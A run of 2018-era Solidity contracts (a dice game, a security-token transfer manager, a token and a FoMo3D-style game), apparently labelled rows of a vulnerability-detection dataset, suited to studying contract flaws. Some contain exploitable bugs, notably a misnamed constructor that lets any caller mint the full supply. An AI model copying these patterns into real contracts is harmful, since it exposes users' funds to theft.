return oraclizeGas;
}
function getOraclizeGasPrice() constant public returns (uint) {
return oraclizeGasPrice;
}
function getOwnerAddress() constant public returns (address) {
return owner;
}
function getPastBet(uint _betNumber) constant public returns (bool _win, uint _betValue, uint _timestamp, address _playerAddress) {
require(currentBetNumber >= _betNumber);
return (pastBets[_betNumber].win, pastBets[_betNumber].betValue, pastBets[_betNumber].timestamp, pastBets[_betNumber].playerAddress);
}
function pauseGame() public senderIsOwner gameIsActive {
gamePaused = true;
GameStatusUpdate(true);
}
function resumeGame() public senderIsOwner gameIsNotActive {
gamePaused = false;
GameStatusUpdate(false);
}
function setMaxBet(uint _newMax) public senderIsOwner gameIsNotActive {
require(_newMax >= 100000000000000000);
maxBet = _newMax;
MaxBetUpdate(_newMax);
}
function setMinBet(uint _newMin) public senderIsOwner gameIsNotActive {
require(_newMin >= 100000000000000000);
minBet = _newMin;
MinBetUpdate(_newMin);
}
function setHouseFee(uint _newFee) public senderIsOwner gameIsNotActive {
require(_newFee <= 100);
houseFee = _newFee;
HouseFeeUpdate(_newFee);
}
function setOraclizeGas(uint _newGas) public senderIsOwner gameIsNotActive {
oraclizeGas = _newGas;
}
function setOraclizeGasPrice(uint _newPrice) public senderIsOwner gameIsNotActive {
oraclizeGasPrice = _newPrice + 10000000;
oraclize_setCustomGasPrice(oraclizeGasPrice);
}
function setOwner(address _newOwner) public senderIsOwner gameIsNotActive {
owner = _newOwner;
OwnerUpdate(_newOwner);
}
function selfDestruct() public senderIsOwner gameIsNotActive {
selfdestruct(owner);
}
function __callback(bytes32 _queryId, string _result, bytes _proof) public senderIsOraclize {
currentQueryId = uint(keccak256(_queryId));
if (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) == 0) {
randomNumber = (uint(keccak256(_result)) % 100) + 1;
checkIfWon();
} else {
uint refundValue = queryIdMap[currentQueryId].betValue;
queryIdMap[currentQueryId].betValue = 0;
queryIdMap[currentQueryId].playerAddress.transfer(refundValue);
}
}
} | 0 | 1,802 |
pragma solidity ^0.4.24;
contract Pausable {
event Pause(uint256 _timestammp);
event Unpause(uint256 _timestamp);
bool public paused = false;
modifier whenNotPaused() {
require(!paused, "Contract is paused");
_;
}
modifier whenPaused() {
require(paused, "Contract is not paused");
_;
}
function _pause() internal whenNotPaused {
paused = true;
emit Pause(now);
}
function _unpause() internal whenPaused {
paused = false;
emit Unpause(now);
}
}
interface IModule {
function getInitFunction() external pure returns (bytes4);
function getPermissions() external view returns(bytes32[]);
function takeFee(uint256 _amount) external returns(bool);
}
interface ISecurityToken {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function decreaseApproval(address _spender, uint _subtractedValue) external returns (bool);
function increaseApproval(address _spender, uint _addedValue) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function verifyTransfer(address _from, address _to, uint256 _value) external returns (bool success);
function mint(address _investor, uint256 _value) external returns (bool success);
function mintWithData(address _investor, uint256 _value, bytes _data) external returns (bool success);
function burnFromWithData(address _from, uint256 _value, bytes _data) external;
function burnWithData(uint256 _value, bytes _data) external;
event Minted(address indexed _to, uint256 _value);
event Burnt(address indexed _burner, uint256 _value);
function checkPermission(address _delegate, address _module, bytes32 _perm) external view returns (bool);
function getModule(address _module) external view returns(bytes32, address, address, bool, uint8, uint256, uint256);
function getModulesByName(bytes32 _name) external view returns (address[]);
function getModulesByType(uint8 _type) external view returns (address[]);
function totalSupplyAt(uint256 _checkpointId) external view returns (uint256);
function balanceOfAt(address _investor, uint256 _checkpointId) external view returns (uint256);
function createCheckpoint() external returns (uint256);
function getInvestors() external view returns (address[]);
function getInvestorsAt(uint256 _checkpointId) external view returns(address[]);
function iterateInvestors(uint256 _start, uint256 _end) external view returns(address[]);
function currentCheckpointId() external view returns (uint256);
function investors(uint256 _index) external view returns (address);
function withdrawERC20(address _tokenContract, uint256 _value) external;
function changeModuleBudget(address _module, uint256 _budget) external;
function updateTokenDetails(string _newTokenDetails) external;
function changeGranularity(uint256 _granularity) external;
function pruneInvestors(uint256 _start, uint256 _iters) external;
function freezeTransfers() external;
function unfreezeTransfers() external;
function freezeMinting() external;
function mintMulti(address[] _investors, uint256[] _values) external returns (bool success);
function addModule(
address _moduleFactory,
bytes _data,
uint256 _maxCost,
uint256 _budget
) external;
function archiveModule(address _module) external;
function unarchiveModule(address _module) external;
function removeModule(address _module) external;
function setController(address _controller) external;
function forceTransfer(address _from, address _to, uint256 _value, bytes _data, bytes _log) external;
function forceBurn(address _from, uint256 _value, bytes _data, bytes _log) external;
function disableController() external;
function getVersion() external view returns(uint8[]);
function getInvestorCount() external view returns(uint256);
function transferWithData(address _to, uint256 _value, bytes _data) external returns (bool success);
function transferFromWithData(address _from, address _to, uint256 _value, bytes _data) external returns(bool);
function granularity() external view returns(uint256);
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function decreaseApproval(address _spender, uint _subtractedValue) external returns (bool);
function increaseApproval(address _spender, uint _addedValue) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Module is IModule {
address public factory;
address public securityToken;
bytes32 public constant FEE_ADMIN = "FEE_ADMIN";
IERC20 public polyToken;
constructor (address _securityToken, address _polyAddress) public {
securityToken = _securityToken;
factory = msg.sender;
polyToken = IERC20(_polyAddress);
}
modifier withPerm(bytes32 _perm) {
bool isOwner = msg.sender == Ownable(securityToken).owner();
bool isFactory = msg.sender == factory;
require(isOwner||isFactory||ISecurityToken(securityToken).checkPermission(msg.sender, address(this), _perm), "Permission check failed");
_;
}
modifier onlyOwner {
require(msg.sender == Ownable(securityToken).owner(), "Sender is not owner");
_;
}
modifier onlyFactory {
require(msg.sender == factory, "Sender is not factory");
_;
}
modifier onlyFactoryOwner {
require(msg.sender == Ownable(factory).owner(), "Sender is not factory owner");
_;
}
modifier onlyFactoryOrOwner {
require((msg.sender == Ownable(securityToken).owner()) || (msg.sender == factory), "Sender is not factory or owner");
_;
}
function takeFee(uint256 _amount) public withPerm(FEE_ADMIN) returns(bool) {
require(polyToken.transferFrom(securityToken, Ownable(factory).owner(), _amount), "Unable to take fee");
return true;
}
}
contract ITransferManager is Module, Pausable {
enum Result {INVALID, NA, VALID, FORCE_VALID}
function verifyTransfer(address _from, address _to, uint256 _amount, bytes _data, bool _isTransfer) public returns(Result);
function unpause() public onlyOwner {
super._unpause();
}
function pause() public onlyOwner {
super._pause();
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract GeneralTransferManager is ITransferManager {
using SafeMath for uint256;
address public issuanceAddress = address(0);
address public signingAddress = address(0);
bytes32 public constant WHITELIST = "WHITELIST";
bytes32 public constant FLAGS = "FLAGS";
struct TimeRestriction {
uint256 fromTime;
uint256 toTime;
uint256 expiryTime;
bool canBuyFromSTO;
}
mapping (address => TimeRestriction) public whitelist;
mapping(address => mapping(uint256 => bool)) public nonceMap;
bool public allowAllTransfers = false;
bool public allowAllWhitelistTransfers = false;
bool public allowAllWhitelistIssuances = true;
bool public allowAllBurnTransfers = false;
event ChangeIssuanceAddress(address _issuanceAddress);
event AllowAllTransfers(bool _allowAllTransfers);
event AllowAllWhitelistTransfers(bool _allowAllWhitelistTransfers);
event AllowAllWhitelistIssuances(bool _allowAllWhitelistIssuances);
event AllowAllBurnTransfers(bool _allowAllBurnTransfers);
event ChangeSigningAddress(address _signingAddress);
event ModifyWhitelist(
address _investor,
uint256 _dateAdded,
address _addedBy,
uint256 _fromTime,
uint256 _toTime,
uint256 _expiryTime,
bool _canBuyFromSTO
);
constructor (address _securityToken, address _polyAddress)
public
Module(_securityToken, _polyAddress)
{
}
function getInitFunction() public pure returns (bytes4) {
return bytes4(0);
}
function changeIssuanceAddress(address _issuanceAddress) public withPerm(FLAGS) {
issuanceAddress = _issuanceAddress;
emit ChangeIssuanceAddress(_issuanceAddress);
}
function changeSigningAddress(address _signingAddress) public withPerm(FLAGS) {
signingAddress = _signingAddress;
emit ChangeSigningAddress(_signingAddress);
}
function changeAllowAllTransfers(bool _allowAllTransfers) public withPerm(FLAGS) {
allowAllTransfers = _allowAllTransfers;
emit AllowAllTransfers(_allowAllTransfers);
}
function changeAllowAllWhitelistTransfers(bool _allowAllWhitelistTransfers) public withPerm(FLAGS) {
allowAllWhitelistTransfers = _allowAllWhitelistTransfers;
emit AllowAllWhitelistTransfers(_allowAllWhitelistTransfers);
}
function changeAllowAllWhitelistIssuances(bool _allowAllWhitelistIssuances) public withPerm(FLAGS) {
allowAllWhitelistIssuances = _allowAllWhitelistIssuances;
emit AllowAllWhitelistIssuances(_allowAllWhitelistIssuances);
}
function changeAllowAllBurnTransfers(bool _allowAllBurnTransfers) public withPerm(FLAGS) {
allowAllBurnTransfers = _allowAllBurnTransfers;
emit AllowAllBurnTransfers(_allowAllBurnTransfers);
}
function verifyTransfer(address _from, address _to, uint256 , bytes , bool ) public returns(Result) {
if (!paused) {
if (allowAllTransfers) {
return Result.VALID;
}
if (allowAllBurnTransfers && (_to == address(0))) {
return Result.VALID;
}
if (allowAllWhitelistTransfers) {
return (_onWhitelist(_to) && _onWhitelist(_from)) ? Result.VALID : Result.NA;
}
if (allowAllWhitelistIssuances && _from == issuanceAddress) {
if (!whitelist[_to].canBuyFromSTO && _isSTOAttached()) {
return Result.NA;
}
return _onWhitelist(_to) ? Result.VALID : Result.NA;
}
return ((_onWhitelist(_from) && whitelist[_from].fromTime <= now) &&
(_onWhitelist(_to) && whitelist[_to].toTime <= now)) ? Result.VALID : Result.NA;
}
return Result.NA;
}
function modifyWhitelist(
address _investor,
uint256 _fromTime,
uint256 _toTime,
uint256 _expiryTime,
bool _canBuyFromSTO
)
public
withPerm(WHITELIST)
{
whitelist[_investor] = TimeRestriction(_fromTime, _toTime, _expiryTime, _canBuyFromSTO);
emit ModifyWhitelist(_investor, now, msg.sender, _fromTime, _toTime, _expiryTime, _canBuyFromSTO);
}
function modifyWhitelistMulti(
address[] _investors,
uint256[] _fromTimes,
uint256[] _toTimes,
uint256[] _expiryTimes,
bool[] _canBuyFromSTO
) public withPerm(WHITELIST) {
require(_investors.length == _fromTimes.length, "Mismatched input lengths");
require(_fromTimes.length == _toTimes.length, "Mismatched input lengths");
require(_toTimes.length == _expiryTimes.length, "Mismatched input lengths");
require(_canBuyFromSTO.length == _toTimes.length, "Mismatched input length");
for (uint256 i = 0; i < _investors.length; i++) {
modifyWhitelist(_investors[i], _fromTimes[i], _toTimes[i], _expiryTimes[i], _canBuyFromSTO[i]);
}
}
function modifyWhitelistSigned(
address _investor,
uint256 _fromTime,
uint256 _toTime,
uint256 _expiryTime,
bool _canBuyFromSTO,
uint256 _validFrom,
uint256 _validTo,
uint256 _nonce,
uint8 _v,
bytes32 _r,
bytes32 _s
) public {
require(_validFrom <= now, "ValidFrom is too early");
require(_validTo >= now, "ValidTo is too late");
require(!nonceMap[_investor][_nonce], "Already used signature");
nonceMap[_investor][_nonce] = true;
bytes32 hash = keccak256(
abi.encodePacked(this, _investor, _fromTime, _toTime, _expiryTime, _canBuyFromSTO, _validFrom, _validTo, _nonce)
);
_checkSig(hash, _v, _r, _s);
whitelist[_investor] = TimeRestriction(_fromTime, _toTime, _expiryTime, _canBuyFromSTO);
emit ModifyWhitelist(_investor, now, msg.sender, _fromTime, _toTime, _expiryTime, _canBuyFromSTO);
}
function _checkSig(bytes32 _hash, uint8 _v, bytes32 _r, bytes32 _s) internal view {
address signer = ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", _hash)), _v, _r, _s);
require(signer == Ownable(securityToken).owner() || signer == signingAddress, "Incorrect signer");
}
function _onWhitelist(address _investor) internal view returns(bool) {
return (((whitelist[_investor].fromTime != 0) || (whitelist[_investor].toTime != 0)) &&
(whitelist[_investor].expiryTime >= now));
}
function _isSTOAttached() internal view returns(bool) {
bool attached = ISecurityToken(securityToken).getModulesByType(3).length > 0;
return attached;
}
function getPermissions() public view returns(bytes32[]) {
bytes32[] memory allPermissions = new bytes32[](2);
allPermissions[0] = WHITELIST;
allPermissions[1] = FLAGS;
return allPermissions;
}
} | 1 | 4,736 |
pragma solidity ^0.4.21 ;
contract RUSS_PFXXI_I_883 {
mapping (address => uint256) public balanceOf;
string public name = " RUSS_PFXXI_I_883 " ;
string public symbol = " RUSS_PFXXI_I_IMTD " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 605069603335981000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
} | 1 | 5,552 |
pragma solidity ^0.4.24;
contract POOHMOevents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 POOHAmount,
uint256 genAmount,
uint256 potAmount
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 POOHAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 POOHAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 POOHAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract POOHMO is POOHMOevents {
using SafeMath for *;
using NameFilter for string;
using KeysCalc for uint256;
PlayerBookInterface private PlayerBook;
address private admin = msg.sender;
address private flushDivs;
string constant public name = "POOHMO";
string constant public symbol = "POOHMO";
uint256 private rndExtra_ = 1 minutes;
uint256 private rndGap_ = 1 minutes;
uint256 private rndInit_ = 30 minutes;
uint256 constant private rndInc_ = 10 seconds;
uint256 private rndMax_ = 6 hours;
uint256[6] private timerLengths = [30 minutes,60 minutes,120 minutes,360 minutes,720 minutes,1440 minutes];
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => POOHMODatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => POOHMODatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => POOHMODatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => POOHMODatasets.TeamFee) public fees_;
mapping (uint256 => POOHMODatasets.PotSplit) public potSplit_;
constructor(address whaleContract, address playerbook)
public
{
flushDivs = whaleContract;
PlayerBook = PlayerBookInterface(playerbook);
fees_[0] = POOHMODatasets.TeamFee(49,10);
potSplit_[0] = POOHMODatasets.PotSplit(15,10);
}
modifier isActivated() {
require(activated_ == true);
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0);
require(_addr == tx.origin);
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000);
require(_eth <= 100000000000000000000000);
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
POOHMODatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, _eventData_);
}
function buyXid(uint256 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
POOHMODatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
buyCore(_pID, _affCode, _eventData_);
}
function buyXaddr(address _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
POOHMODatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function buyXname(bytes32 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
POOHMODatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
POOHMODatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
reLoadCore(_pID, _affCode, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
POOHMODatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
POOHMODatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
POOHMODatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit POOHMOevents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.POOHAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit POOHMOevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit POOHMOevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit POOHMOevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit POOHMOevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3]
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, POOHMODatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, 0, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit POOHMOevents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.POOHAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, POOHMODatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, 0, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit POOHMOevents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.POOHAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, POOHMODatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 5000000000000000000)
{
uint256 _availableLimit = (5000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][0] = _eth.add(rndTmEth_[_rID][0]);
